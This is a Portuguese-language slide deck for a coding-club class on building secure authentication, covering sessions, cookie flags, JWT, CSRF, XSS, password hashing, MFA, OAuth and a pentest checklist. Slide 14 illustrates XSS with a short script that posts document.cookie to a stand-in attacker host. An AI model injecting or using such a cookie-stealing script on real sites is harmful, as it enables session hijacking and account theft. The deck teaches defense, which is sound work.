Coders Club

Authentication Layer

Como construir autenticação segura, escalável e aprovada em um pentest de qualidade

Alex Seixas • Senior Software Engineer · CTO

auth.alexseixas.com.br

02

Quem sou

Portugal
Portugal Senior Software Engineer

Zonesoft

Navistore — SaaS em larga escala

Arquitetura e liderança de frontend do zero — Vue 3, TS, Pinia e Vite. Backend Phalcon → Laravel, PostgreSQL e REST APIs.

−40% no tempo de carregamento inicial Permissões com Vue directives + Pinia Docker & Jenkins CI/CD
Vue 3 TypeScript Pinia Vite Laravel PostgreSQL
Canadá
Canadá Senior Software Engineer

Vocara

Cápsula digital segura

Plataforma B2C para preservar memórias de família — vídeos, fotos e entrevistas guiadas. Privacidade by design.

Full-stack: Nuxt.js + Node.js UX, segurança e gestão de conteúdo
Nuxt.js Node.js SaaS B2C Privacy-first
Estados Unidos
Estados Unidos CTO · AgentAid

Real-time inbound call routing platform

Softphone no browser para agentes licenciados de seguros final expense. Agentes entram online, recebem chamadas, são cobrados por call conectada — arquitetura event-driven, auditável e pronta para white-label.

React Node.js / TS PostgreSQL AWS ECS RDS SQS Twilio Stripe WebSockets CloudFront

Como CTO, lidero

Arquitetura modular monolith — auth, routing, billing, telephony Infra AWS completa — ECS Fargate, RDS, SQS + DLQ, CloudFront Contratação, gestão e liderança técnica do time de devs Auth JWT, webhooks idempotentes e billing com ledger imutável Deploy staging/prod, CI/CD e operação do produto como CTO
03

Por que essa aula importa?

Todo desenvolvedor sabe implementar login.
Poucos sabem explicar por que ele é seguro.

Entrevistas técnicas System Design Pentests Aplicações reais Produtos financeiros SaaS APIs públicas Microservices
Pergunta para a turma
Quando você faz login no GitHub, por que não precisa digitar sua senha em cada clique?
Resposta esperada
Porque o servidor cria uma forma de reconhecer o usuário nas próximas requisições, normalmente usando sessões ou tokens.
04

HTTP é Stateless

HTTP não guarda memória entre requisições. Cada request é independente.

GET /login
200 OK
GET /profile
Quem é esse usuário?
Pergunta para a turma
Se HTTP não guarda estado, como o servidor sabe quem é o usuário?
Resposta esperada
Criando uma camada de autenticação que mantém estado via sessão server-side ou token client-side.
05

O problema que a autenticação resolve

Identidade
Sessão
Permissão
Expiração
Revogação
Auditoria

Autenticação não é apenas login.
É um conjunto de mecanismos para provar identidade, manter contexto e proteger recursos.

06

Autenticação vs Autorização

Autenticação

Quem é você?

Autorização

O que você pode fazer?

Login válido: Alex  |  Role: Admin
Pode acessar: /admin/users
Não pode acessar: /billing/internal
Pergunta para a turma
JWT com role=admin resolve autorização sozinho?
Resposta esperada
Não. O backend sempre precisa validar permissões de forma confiável, preferencialmente com regras server-side.
07

Fluxo clássico de login com sessão

Browser
↓ email + senha
Backend
↓ valida senha
Session Store
↓ gera session_id
Cookie HttpOnly
↓
Browser autenticado

O browser não recebe os dados do usuário. Ele recebe apenas um identificador de sessão.

08

O que existe dentro de uma sessão?

{
  "sessionId": "f84d12c8...",
  "userId": 18,
  "role": "admin",
  "createdAt": "2026-06-30T18:00:00Z",
  "expiresAt": "2026-06-30T19:00:00Z"
}

A sessão real fica no servidor, geralmente em memória, Redis, banco ou storage distribuído.

Pergunta para a turma
O cookie guarda o userId?
Resposta esperada
Normalmente não. Ele guarda apenas o ID da sessão.
09

PHPSESSION, JSESSIONID e ASP.NET Session

StackCookie
PHPPHPSESSID
JavaJSESSIONID
ASP.NETASP.NET_SessionId
Laravellaravel_session
Expressconnect.sid

As stacks mudam, mas o conceito é o mesmo: o cookie carrega um identificador e o servidor resolve quem é o usuário.

10

Exemplo PHP

session_start();

$_SESSION['user_id'] = 18;
$_SESSION['role'] = 'admin';

O PHP cria uma sessão no servidor e envia um cookie PHPSESSID ao navegador.

Pergunta para a turma
O navegador recebe user_id=18?
Resposta esperada
Não. Ele recebe PHPSESSID. O user_id fica associado à sessão no servidor.
11

Cookie não é segurança

Cookie é armazenamento.
Não é, sozinho, um mecanismo de segurança.

Cookie pode ser roubado, manipulado, mal configurado ou enviado automaticamente em contextos perigosos.

Pergunta para a turma
Cookie é inviolável?
Resposta esperada
Não. O que protege um cookie são flags, assinatura, criptografia quando aplicável, HTTPS, políticas de SameSite e validação server-side.
12

Flags de Cookie

HttpOnly
Impede acesso via JavaScript.
Secure
Só envia via HTTPS.
SameSite
Controla envio cross-site.
Expires / Max-Age
Controla tempo de vida.
Path / Domain
Controla escopo.
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
13

SameSite na prática

Strict
Mais seguro, menos flexível.
Lax
Bom padrão para muitos sistemas.
None
Cross-site, mas exige Secure.
Pergunta para a turma
SameSite=None sem Secure é aceitável?
Resposta esperada
Não. Browsers modernos exigem Secure para SameSite=None, e usar None aumenta a superfície para CSRF se não houver outras proteções.
14

XSS — Cross-Site Scripting

XSS acontece quando um atacante consegue executar JavaScript dentro da sua aplicação.

<script>
  fetch("https://attacker.com/steal", {
    method: "POST",
    body: document.cookie
  });
</script>
Pergunta para a turma
HttpOnly impede XSS?
Resposta esperada
Não. HttpOnly impede que o JavaScript leia o cookie, mas não impede que o script malicioso execute ações na página.
15

Como reduzir XSS

Escapar output
Sanitizar HTML
Evitar dangerouslySetInnerHTML
Content Security Policy
HttpOnly cookies
Validação no backend
Bibliotecas confiáveis
Atualização de dependências

A defesa correta é em camadas.

16

CSRF — Cross-Site Request Forgery

Usuário está logado no banco. Abre outro site malicioso. Esse site dispara um POST para o banco. O browser envia os cookies automaticamente.

evil.com
↓
POST https://bank.com/transfer
↓
Browser envia cookie de bank.com
↓
Servidor acredita que foi o usuário
Pergunta para a turma
Por que isso acontece?
Resposta esperada
Porque cookies são enviados automaticamente pelo navegador para o domínio correspondente.
17

Como mitigar CSRF

CSRF Token
SameSite=Lax/Strict
Validar Origin
Validar Referer
Reautenticação crítica
Não usar GET mutável
Pergunta para a turma
JWT elimina CSRF?
Resposta esperada
Depende. JWT em Authorization Header reduz CSRF porque o browser não envia automaticamente. JWT em cookie ainda pode sofrer CSRF.
18

Session Fixation

Session Fixation ocorre quando o atacante força ou reutiliza um session_id conhecido e faz a vítima autenticar nele.

Rotacionar session_id após login
Invalidar sessão antiga
Usar cookies seguros
Expirar sessões
Pergunta para a turma
O que deve acontecer com o session_id depois do login?
Resposta esperada
Deve ser regenerado/rotacionado para impedir fixation.
19

Session Hijacking

Session Hijacking é o roubo ou uso indevido de uma sessão válida.

Causas

  • XSS
  • Rede insegura
  • Cookie sem Secure
  • Malware
  • Logs vazando tokens
  • Session ID previsível

Mitigações

  • HTTPS
  • HttpOnly
  • Secure
  • SameSite
  • Rotação
  • Expiração
  • Monitoramento
20

JWT — JSON Web Token

JWT é um token assinado composto por Header, Payload e Signature.

xxxxx.yyyyy.zzzzz

Header
Algoritmo e tipo
Payload
Claims
Signature
Prova de integridade
Pergunta para a turma
JWT é criptografado?
Resposta esperada
Não necessariamente. JWT normalmente é apenas codificado em Base64URL e assinado. Qualquer pessoa pode ler o payload.
21

JWT: Assinado ≠ Criptografado

{
  "sub": "18",
  "email": "alex@example.com",
  "role": "admin",
  "exp": 1719770000
}

Não coloque dados sensíveis no payload.

Pergunta para a turma
Posso colocar CPF, cartão ou dados médicos em um JWT comum?
Resposta esperada
Não. O payload pode ser lido. JWT assinado protege integridade, não confidencialidade.
22

Alterar role no JWT funciona?

{ "role": "user" }
→
{ "role": "admin" }

O payload pode ser alterado, mas a assinatura deixa de ser válida.

Pergunta para a turma
Onde está a segurança do JWT?
Resposta esperada
Na validação da assinatura, do algoritmo, da expiração, do issuer, audience e demais claims.
23

Erros comuns com JWT

Token sem expiração
Token eterno no localStorage
Não validar assinatura
Aceitar algoritmo none
Não validar issuer/audience
Dados sensíveis no payload
Sem estratégia de revogação
Refresh token mal protegido
24

Access Token e Refresh Token

Access Token
Curto prazo, usado para acessar APIs.
Refresh Token
Longo prazo, usado para renovar access tokens.
Access token curto
Refresh token rotacionável
Revogação server-side
Detecção de reuse
Armazenamento seguro
Pergunta para a turma
Por que access token não deve durar 30 dias?
Resposta esperada
Porque se ele vazar, o atacante terá acesso por muito tempo. Tokens curtos reduzem impacto.
25

Onde guardar tokens?

LocalStorage+ Simples− Vulnerável a XSS
SessionStorage+ Morre ao fechar aba− Vulnerável a XSS
Cookie HttpOnly+ Protege contra JS− Exige proteção CSRF
Memory+ Reduz persistência− Pior UX após refresh

Não existe armazenamento perfeito. Existe trade-off.

26

Password Hashing

Senha nunca deve ser salva em texto puro. Também não deve ser salva com MD5, SHA1 ou SHA256 simples.

Argon2
BCrypt
SCrypt
PBKDF2
Pergunta para a turma
Por que BCrypt/Argon2 são melhores que SHA256 para senha?
Resposta esperada
Porque são algoritmos lentos e configuráveis, dificultando brute force offline.
27

Salt e Pepper

Salt
Valor único por senha, salvo junto ao hash.
Pepper
Segredo global, guardado fora do banco.
Pergunta para a turma
Se dois usuários usam a mesma senha, os hashes devem ser iguais?
Resposta esperada
Não. O salt deve fazer com que os hashes sejam diferentes.
28

Ataques de login

Brute Force

Tenta adivinhar senhas repetidamente.

Credential Stuffing

Usa credenciais vazadas de outros serviços.

User Enumeration

Descobre quais usuários existem no sistema.

Timing Attack

Explora diferenças de tempo na validação.

Password Spraying

Testa poucas senhas comuns em muitos usuários.

Replay Attack

Reutiliza tokens ou requisições capturadas.

SQL Injection

Manipula queries para bypass de autenticação.

Pergunta para a turma
Qual a diferença entre brute force e credential stuffing?
Resposta esperada
Brute force tenta adivinhar senhas. Credential stuffing usa credenciais vazadas de outros serviços.
29

User Enumeration

Resposta ruim

Usuário não encontrado

Senha inválida

Resposta correta

Credenciais inválidas

Pergunta para a turma
Por que mensagens específicas são perigosas?
Resposta esperada
Porque permitem descobrir quais e-mails ou usuários existem no sistema.
30

MFA — Multi-Factor Authentication

MFA adiciona uma segunda prova de identidade.

SMSE-mailTOTP Authenticator Push NotificationHardware KeyPasskey

SMS é melhor que nada, mas não é o fator mais forte.

31

Passkeys e WebAuthn

  • Passkeys usam criptografia assimétrica.
  • A chave privada fica no dispositivo.
  • O servidor guarda a chave pública.
  • A senha não trafega.
Pergunta para a turma
Por que passkeys reduzem phishing?
Resposta esperada
Porque a autenticação é vinculada ao domínio legítimo e não depende de o usuário digitar uma senha reutilizável.
32

OAuth 2.0

OAuth 2.0 é um protocolo de autorização. Permite que uma aplicação acesse recursos em nome do usuário sem receber a senha dele.

Login com Google Login com GitHub Login com Microsoft
Pergunta para a turma
Minha aplicação recebe a senha do Google?
Resposta esperada
Nunca. Ela recebe tokens emitidos pelo provedor.
33

OpenID Connect

OIDC adiciona identidade sobre OAuth 2.0.

OAuth 2.0
= autorização
OIDC
= autenticação + identidade
// ID Token → informações sobre quem é o usuário
// Access Token → permite acessar recursos
34

CORS não é autenticação

  • CORS é uma política de browser.
  • Não é mecanismo de autenticação.
  • Não protege API contra Postman, curl ou backend malicioso.
Pergunta para a turma
Se eu configurar CORS, minha API está segura?
Resposta esperada
Não. CORS controla quais origens o browser permite acessar. A API ainda precisa autenticar e autorizar cada request.
35

Checklist de pentest para autenticação

Cookies HttpOnly, Secure, SameSite
HTTPS obrigatório + HSTS
CSRF em ações mutáveis
Rate limit no login
Proteção contra user enumeration
Password hashing forte
Session ID rotacionado após login
Expiração de sessão
Logout invalida sessão
JWT com exp, iss, aud validados
Refresh token rotacionável
MFA para ações críticas
Logs e auditoria
CSP contra XSS
Nenhum segredo no frontend
36

Comparação entre stacks

StackSessãoCSRF / JWT
Java / SpringJSESSIONIDCSRF padrão; JWT em APIs
PHPPHPSESSIDFramework-dependent
Laravellaravel_sessionCSRF nativo; Sanctum/Passport
ASP.NET CoreCookie AuthIdentity; JWT Bearer; Anti-forgery
Node/Expressconnect.sidPassport.js; CSRF manual

O conceito é igual. O risco muda quando o framework deixa decisões de segurança para o desenvolvedor.

37

Arquitetura segura em produção

Browser
↓ HTTPS
CDN / WAF
↓
Load Balancer
↓
API Gateway
↓
Auth Service
↓
Rate Limiter
↓
Redis Session Store
↓
PostgreSQL Users
Audit Logs
Monitoring / SIEM
Secrets Manager
Key Rotation
MFA Provider
Email/SMS Provider
38

System Design Challenge

Você foi contratado para desenhar o login de um banco digital.

Pergunta para a turma
Quais decisões você tomaria para passar em um pentest?
Resposta esperada
HTTPS obrigatório, HSTS, WAF, rate limit, Argon2/BCrypt, MFA, cookies HttpOnly/Secure/SameSite, CSRF token, rotação de sessão, expiração, logs, auditoria, monitoramento, proteção contra user enumeration, lockout inteligente, refresh token seguro, segregação de permissões e validação server-side.
39

Session vs JWT

Session

  • Melhor controle
  • Revogação simples
  • Ótima para apps web tradicionais
  • Exige storage centralizado para escalar

JWT

  • Bom para APIs distribuídas
  • Stateless
  • Escala bem
  • Revogação é mais difícil
  • Exige validação rigorosa
Pergunta para a turma
Qual é melhor?
Resposta esperada
Depende da arquitetura. Não existe solução universal. Segurança é trade-off entre controle, escalabilidade, UX, revogação e superfície de ataque.

Autenticação segura não é instalar uma biblioteca.
É entender identidade, sessão, token, browser, ataque, defesa e trade-offs.

Obrigado!

auth.alexseixas.com.br

Coders Club — Alex Seixas

01 / 40
→ Space avançar  ·  ← voltar  ·  R resposta  ·  Home End  ·  digite slide + Enter